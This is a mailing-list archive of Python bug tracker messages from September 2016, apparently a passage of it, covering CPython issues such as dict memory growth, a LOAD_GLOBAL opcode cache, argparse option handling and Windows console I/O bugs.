_______________________________________

From report at bugs.python.org  Wed Sep 14 15:27:50 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 19:27:50 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473881270.5.0.20265657242.issue28147@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> I confirmed and investigated it.  Thanks!
I'll post patch including more test in 24 hours.

Please wait a second.

The cause of this problem is that attribute setting causes a combined table to be splitted (the code path is [0]->[1]->[2]->[3]). So every time you set an attribute and then pop, it will do dictresize(right now it will increase memory usage). So even if you make pop() not increase memory usage, the example Min gives will still do much work not wanted (dictresize and make_keys_shared).

Actually I think memory usage increasing is not a problem if other things are right. popitem() before does the same thing and should never cause a problem.
 
[0] https://hg.python.org/cpython/file/tip/Python/ceval.c#l2248
[1] https://hg.python.org/cpython/file/tip/Objects/object.c#l1119
[2] https://hg.python.org/cpython/file/tip/Objects/object.c#l1125
[3] https://hg.python.org/cpython/file/tip/Objects/object.c#l1172

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:03:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 20:03:38 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473883418.2.0.200830578795.issue28147@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> popitem() before does the same thing and should never cause a problem.

Ahh, this seems not true. Test it in py3.5 also crash.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:09:13 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 20:09:13 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473883753.38.0.932737659513.issue28147@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44665/fix-28147.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:16:59 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 20:16:59 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473884219.69.0.826381374874.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

This issue is caused by dictresize() and _PyObjectDict_SetItem()

1. a.__dict__.pop('a') convert the dict to combined table which has double keysize.
2. a.a = 1  converts the dict to split table again if there are no instances sharing key with class.

As I wrote before, pop, popitem, and del should not increase key size.

And _PyObjectDict_SetItem shouldn't convert the dict to split-table when the dict doesn't share keys
with the class before calling PyDict_SetItem.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:19:44 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 20:19:44 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473884384.59.0.0788106587719.issue28147@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44666/fix-28147.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:27:57 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 20:27:57 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473884877.91.0.169760282143.issue28148@psf.upfronthosting.co.za>


Ed Schouten added the comment:

Does this patch look all right to you?

----------
Added file: http://bugs.python.org/file44667/patch-pytime-localtime-gmtime

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:48:01 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 14 Sep 2016 20:48:01 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
Message-ID: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

The attached patch implements an opcode cache for LOAD_GLOBAL opcode, making it 2x faster.

The idea is to use the new co_extra field of code objects & PEP 509 to attach a cache structure pointing directly to the resolved global name.  When globals or builtins are updated, the cache is invalidated.

The patch adds a new file "ceval_cache.h" which provides some infrastructure to ease the pain of implementing new caches for other opcode types.  I can strip down all macros from that file if Victor finds it too hard to review.

Here's a simple script I used to make sure that the cache is working: https://gist.github.com/1st1/a9660aabdcf6b8bc6205b9fe39a82bba

You can also set OPCACHE_COLLECT_STATS to 1 to get debug stats output for the cache.

----------
assignee: yselivanov
components: Interpreter Core
files: load_globals_cache.patch
keywords: patch
messages: 276485
nosy: gvanrossum, haypo, yselivanov
priority: critical
severity: normal
stage: patch review
status: open
title: Implement LOAD_GLOBAL opcode cache
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44668/load_globals_cache.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Wed Sep 14 16:49:08 2016
From: report at bugs.python.org (Clint Olsen)
Date: Wed, 14 Sep 2016 20:49:08 +0000
Subject: [issue9334] argparse does not accept options taking arguments
 beginning with dash (regression from optparse)
In-Reply-To: <1279836939.11.0.811316280273.issue9334@psf.upfronthosting.co.za>
Message-ID: <1473886148.17.0.180815778083.issue9334@psf.upfronthosting.co.za>


Clint Olsen added the comment:

I'm not sure if this is applicable to this bug, but one feature missing from argparse is the ability to snarf arbitrary options up to a terminating '--'. The purpose of this is to collect arguments for potential children you may spawn. An example:

--subscript_args --foo --bar --baz -- <other args>

So, if you ran args = parser.parse_args()

args.subscript_args = [ '--foo', '--bar', '--baz' ]

Right now I have NO way of enabling this w/o writing my own argument parser, and I think it's bizarre that argparse can't do something like this.

And no, I don't want to pass a singly-quoted string to this so I don't have to manually split() the arguments which may or may not match what /bin/sh does.

Does this deserve it's own enhancement request?

----------
nosy: +Clint Olsen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9334>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:06:11 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:06:11 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473887171.8.0.854840377638.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Very nice.  I'll give it a week or two for the others to chime in and commit if I don't hear any objections.

----------
keywords: +patch
stage: patch review -> commit review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:12:49 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:12:49 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473887569.76.0.573558006406.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I see that you picked localtime_s-like order of arguments.  While I have no personal preference, I wonder why you prefer output to follow input.  The usual UNIX/C convention is the opposite.  Interfaces like sprintf, strcat, strftime and many other have output first.  I think the logic is that this is the order in variable assignment OUTPUT = INPUT.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:14:58 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 14 Sep 2016 21:14:58 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473887698.12.0.126404647912.issue28158@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:16:36 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 14 Sep 2016 21:16:36 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473887796.6.0.224527385373.issue28158@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy:  -gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:18:02 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 21:18:02 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473887882.26.0.231936092949.issue28148@psf.upfronthosting.co.za>


Ed Schouten added the comment:

I've been brainwashed by https://google.github.io/styleguide/cppguide.html#Function_Parameter_Ordering over the last couple of years, which is why I thought `localtime()/localtime_r()`'s way of ordering the arguments made most sense here. ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:29:28 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:29:28 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473888568.96.0.0744128998811.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> I thought `[...]localtime_r()`'s way of ordering the arguments made most sense here.

Right. I keep forgetting which one is localtime_r and which is localtime_s. I don't think there is any preference in the Python codebase. (PEP 8 is silent on this point.)

Use of time_t instead of time_t* makes it obvious which argument is input, so as I said, for me the order does not matter.  Google style guide is reason enough to pick the order.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:30:53 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 14 Sep 2016 21:30:53 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473888653.85.0.158505765812.issue28148@psf.upfronthosting.co.za>


Changes by Antoine Pitrou <pitrou at free.fr>:


----------
nosy:  -pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:41:00 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 14 Sep 2016 21:41:00 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1473889260.64.0.446953260691.issue25478@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

The pitfall I imagine here is that if you continue adding elements after normalize() is called, the results will be nonsensical.

----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:55:13 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:55:13 +0000
Subject: [issue28159] Deprecate isdst argument in email.utils.localtime
Message-ID: <1473890113.79.0.964863330823.issue28159@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

With the implementation of PEP 495, email.utils.localtime() does not need the isdst argument to disambiguate naive time.  In fact the utility method itself is redundant given that astimezone() now works for naive instances.

----------
components: Library (Lib)
messages: 276492
nosy: belopolsky, r.david.murray
priority: normal
severity: normal
status: open
title: Deprecate isdst argument in email.utils.localtime
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28159>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:57:57 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:57:57 +0000
Subject: [issue1100942] Add datetime.time.strptime and datetime.date.strptime
Message-ID: <1473890277.25.0.467973131278.issue1100942@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee: belopolsky -> 
priority: high -> 
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1100942>
_______________________________________

From report at bugs.python.org  Wed Sep 14 17:59:29 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 21:59:29 +0000
Subject: [issue28130] Document that time.tzset updates time module globals
In-Reply-To: <1473782506.71.0.242774514927.issue28130@psf.upfronthosting.co.za>
Message-ID: <1473890369.08.0.152555146299.issue28130@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
title: Document that time.tzset updates time module constants -> Document that time.tzset updates time module globals

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28130>
_______________________________________

From report at bugs.python.org  Wed Sep 14 18:31:44 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 14 Sep 2016 22:31:44 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473892304.0.0.988136936946.issue26182@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I had to rewrite the patch to make sure it reports correct position and covers all cases where using async/await should trigger a warning.

Brett, could you please take a look at the patch?

----------
Added file: http://bugs.python.org/file44669/issue_26182.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Wed Sep 14 18:37:51 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 14 Sep 2016 22:37:51 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473892671.72.0.235877997839.issue26081@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

INADA, would you be able to address my last review comments?  Also, I'm wondering what if we could implement __del__ and __repr__ in C too, so that we could drop BaseFuture class?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Wed Sep 14 18:56:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 22:56:59 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473802231.48.0.0798560909822.issue28055@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwayoDzWPe0muj_4NzCpsvihgD6ymDqJT0HV_=HG+GRPAQ@mail.gmail.com>


STINNER Victor added the comment:

Christian Heimes added the comment:
> The main reason for two different hash algorithms was missing support for
64bit integer types. Python 3.4 was targeting platforms that had no 64bit
integer support at all (IIRC SPARC). Nowaday Python requires 64bit ints to
compile.
>
> I'm all in favor to remove FVN2 and use SipHash24 on all platforms. Let's
deprecated it now and remove it in 3.7.

Python 3.5.0 doesn't compile if the compiler doesn't support 64 signed
integer: see pytime.h ;-)

Are you aware of platforms still using FVN2?

I'm also in favor of deprecating it. Maybe use #warning in C to log a
deprecation warning.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 18:59:20 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 14 Sep 2016 22:59:20 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473893960.31.0.475551671529.issue26182@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy:  -gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Wed Sep 14 19:36:51 2016
From: report at bugs.python.org (Yaron Goland)
Date: Wed, 14 Sep 2016 23:36:51 +0000
Subject: [issue28160] Python -V and --version output to stderr instead of
 stdout
Message-ID: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>


New submission from Yaron Goland:

When running python -V or --version the output goes to stderr instead of stdout. Unless python thinks its version is an err shouldn't the result go to stdout?

----------
components: Macintosh
messages: 276496
nosy: Yaron Goland, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python -V and --version output to stderr instead of stdout
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Wed Sep 14 19:44:13 2016
From: report at bugs.python.org (Yaron Goland)
Date: Wed, 14 Sep 2016 23:44:13 +0000
Subject: [issue28160] Python -V and --version output to stderr instead of
 stdout
In-Reply-To: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>
Message-ID: <1473896653.01.0.0303543232954.issue28160@psf.upfronthosting.co.za>


Yaron Goland added the comment:

To be fair it turns out that Java also outputs its version to stderr. Still seems wrong. It's not an error!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Wed Sep 14 19:52:13 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 14 Sep 2016 23:52:13 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <1473897133.94.0.153365929387.issue27906@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Sorry, we didn't get to this. @Yury, do you think you could get to this before b1 goes out? It's a pure optimization (and a good one!).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Wed Sep 14 21:02:03 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 01:02:03 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <1473901323.37.0.138844100038.issue27906@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> @Yury, do you think you could get to this before b1 goes out? It's a pure optimization (and a good one!).

LGTM. Will commit tomorrow.

----------
assignee:  -> yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Wed Sep 14 21:06:06 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 15 Sep 2016 01:06:06 +0000
Subject: [issue28160] Python -V and --version output to stderr instead of
 stdout
In-Reply-To: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>
Message-ID: <1473901566.06.0.672510912988.issue28160@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report. This was already done in Python 3.4. See https://docs.python.org/dev/whatsnew/3.4.html#changes-in-python-command-behavior and issue 18338 for details. Backporting this to 2.7 would break backwards compatibility so that means we can't change the behavior of python -V in a bugfix release.

----------
nosy: +berker.peksag
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Wed Sep 14 21:30:20 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 15 Sep 2016 01:30:20 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1473901323.37.0.138844100038.issue27906@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLVwWGEX1q=a+FiK80gwRcjmXv_jOK+zcvG8VZxAZUJWw@mail.gmail.com>


Guido van Rossum added the comment:

(Of course I meant b2.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Wed Sep 14 22:15:36 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 15 Sep 2016 02:15:36 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473905736.06.0.334765265582.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

xiang is right. Python 3.5 has same issue when using popitem().
I'll make patch for 3.5.  But it will be bit differ from patch for 3.6 and they will conflict.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 22:30:30 2016
From: report at bugs.python.org (paul j3)
Date: Thu, 15 Sep 2016 02:30:30 +0000
Subject: [issue9334] argparse does not accept options taking arguments
 beginning with dash (regression from optparse)
In-Reply-To: <1279836939.11.0.811316280273.issue9334@psf.upfronthosting.co.za>
Message-ID: <1473906630.8.0.508712730998.issue9334@psf.upfronthosting.co.za>


paul j3 added the comment:

Clint, 'nargs=argparser.REMAINDER' ('...') may do what you want

    p=argparse.ArgumentParser()
    p.add_argument('--subscipt_args', nargs='...')
    p.add_argument('pos',nargs='*')

    p.parse_args('--subscipt_args --foo --bar --baz -- other args'.split())

produces

    Namespace(pos=['other', 'args'], subscipt_args=['--foo', '--bar', '--baz'])

'REMAINDER' is like '*' except it takes everything.  But the '--' means 'everything that follows is a positional argument, so it effectively ends the 'REMAINDER'.  'REMAINDER' is documented (briefly), but I don't recall reading about its interaction with '--'.  I'm a little surprised that it wasn't mentioned earlier in this bug/issue.

'+...', argparse.PARSER is similar except it requires at least one argument.  It is used by the 'subparsers' argument, to collect the cmd string and use all that follow as subparser arguments.

There is a bug issue (or two) about what should happen when there are more than one '--' argument.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9334>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:14:32 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 15 Sep 2016 03:14:32 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1473892671.72.0.235877997839.issue26081@psf.upfronthosting.co.za>
Message-ID: <CAEfz+TxK6ynzMU87GRqKE7t9ExwAgOc6cuV9to=df+S1nk5mtg@mail.gmail.com>


INADA Naoki added the comment:

I'm working on fixing points you commented.  Wait a minute.

Implementing __del__ and __repr__ in C is bit hard task to me.
I can't do it in this week. (maybe I can't do it in this month too.)

On Thu, Sep 15, 2016 at 7:37 AM, Yury Selivanov <report at bugs.python.org> wrote:
>
> Yury Selivanov added the comment:
>
> INADA, would you be able to address my last review comments?  Also, I'm wondering what if we could implement __del__ and __repr__ in C too, so that we could drop BaseFuture class?
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue26081>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:15:40 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 03:15:40 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473909340.58.0.418566237554.issue26081@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> Implementing __del__ and __repr__ in C is bit hard task to me.
> I can't do it in this week. (maybe I can't do it in this month too.)

NP.  I'll take a look myself after you upload the next iteration of the patch...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:24:24 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 15 Sep 2016 03:24:24 +0000
Subject: [issue28140] Attempt to give better errors for pip commands typed
 into the REPL
In-Reply-To: <1473828003.51.0.301742763108.issue28140@psf.upfronthosting.co.za>
Message-ID: <1473909864.28.0.88468333525.issue28140@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Paul Moore pointed out on distutils-sig that since this is mainly desired for the REPL, we can put the logic in the default excepthook rather than into the SyntaxError constructor the way we had to for "print" and "exec":

    def excepthook(typ, value, traceback):
        if typ is SyntaxError and "pip install" in value.text:
            print("'pip install' found in supplied text")
            print("Try running this from a system command prompt")
            return
        sys.__excepthook__(typ, value, traceback)

----------
title: Attempt to give better errors for shell commands typed into the REPL -> Attempt to give better errors for pip commands typed into the REPL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28140>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:24:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:24:25 +0000
Subject: [issue28161] Opening CON for write access fails
Message-ID: <1473909865.01.0.166181984624.issue28161@psf.upfronthosting.co.za>


New submission from Eryk Sun:

When opening the CON device the underlying CreateFile call needs to use either GENERIC_READ or GENERIC_WRITE access, but not both. Currently opening for writing fails as follows:

   >>> open('CON', 'wb', buffering=0)
   Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
   OSError: [WinError 87] The parameter is incorrect: 'CON'

If self->writable is true, it should set `access = GENERIC_WRITE`, not `access |= GENERIC_WRITE`.

This only applies to CON. It's normal to open CONIN$ and CONOUT$ with both read and write access, and WindowsConsoleIO handles that correctly.

----------
components: IO, Library (Lib), Windows
messages: 276507
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: Opening CON for write access fails
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28161>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:25:17 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:25:17 +0000
Subject: [issue28162] WindowsConsoleIO readall() fails if first line starts
 with Ctrl+Z
Message-ID: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>


New submission from Eryk Sun:

For a console readall(), if the first line starts with '\x1a' (i.e. Ctrl+Z), it breaks out of its read loop before incrementing len. Thus the input isn't handled properly as EOF, for which the check requires len > 0. Instead it ends up calling WideCharToMultiByte with len == 0, which fails as follows:

    >>> sys.stdin.buffer.raw.read()
    ^Z
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect

----------
components: IO, Library (Lib), Windows
messages: 276508
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: WindowsConsoleIO readall() fails if first line starts with Ctrl+Z
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:26:21 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:26:21 +0000
Subject: [issue28163] WindowsConsoleIO fileno() passes wrong flags to
 _open_osfhandle
Message-ID: <1473909981.28.0.381163712265.issue28163@psf.upfronthosting.co.za>


New submission from Eryk Sun:

WindowsConsoleIO fileno() gets a file descriptor on demand by calling _open_osfhandle. As a low I/O function this expects _open flags, but currently the code is passing 'rb' (int 0x7262) and 'wb' (int 0x7762). It should use _O_RDONLY | _O_BINARY and _O_WRONLY | _O_BINARY. 

Actually, _open_osfhandle isn't actually opening the file, so it only cares about a few flags. Specifically, in lowio\osfinfo.cpp I see that it looks for _O_APPEND, _O_TEXT, and _O_NOINHERIT. So in this case passing 0 for the flags would also be ok.

----------
components: IO, Library (Lib), Windows
messages: 276509
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: WindowsConsoleIO fileno() passes wrong flags to _open_osfhandle
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28163>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:33:10 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 15 Sep 2016 03:33:10 +0000
Subject: [issue28140] Attempt to give better errors for pip commands typed
 into the REPL
In-Reply-To: <1473828003.51.0.301742763108.issue28140@psf.upfronthosting.co.za>
Message-ID: <1473910390.4.0.096103909183.issue28140@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Given that this can be done with just an excepthook change, I'm going to suggest we make the change for 3.5 and 2.7 as well.

----------
versions: +Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28140>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:37:42 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 15 Sep 2016 03:37:42 +0000
Subject: [issue21337] Add tests for Tix
In-Reply-To: <1398286008.45.0.411979424173.issue21337@psf.upfronthosting.co.za>
Message-ID: <1473910662.15.0.378477426571.issue21337@psf.upfronthosting.co.za>


Zachary Ware added the comment:

